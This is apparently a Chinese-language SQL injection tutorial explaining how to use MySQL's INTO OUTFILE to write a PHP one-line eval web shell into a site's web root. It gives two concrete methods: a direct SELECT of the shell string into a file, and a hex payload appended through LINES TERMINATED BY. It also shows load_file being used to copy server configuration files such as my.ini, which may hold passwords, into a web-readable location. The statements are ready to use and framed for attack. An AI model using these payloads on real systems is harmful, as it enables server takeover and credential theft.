在注入过程中,如果存在注入点,可以直接导入一句话或者上传页面。过程中我们主要是利用into outfile函数进行上传。此处介绍两种关于into outfile利用的方式。
第一种直接将select内容导入到文件中:
Select version() into outfile “c:\phpnow\htdocs\test.php”
此处将version()替换成一句话,<?php @eval($_post[“mima”])?>也即
Select '<?php @eval($_post[“mima”])?>' into outfile “c:\phpnow\htdocs\test.php”
直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
第二种修改文件结尾:
Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16进制文件
解释:通常是用‘ ’结尾,此处我们修改为自己想要的任何文件。
16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式,可以参考以前写过的一篇文章os-shell解析。
Ps:(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile ‘c:\wamp\www\test.php’可以利用该语句将服务器当中的内容导出来,上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要看自己的理解。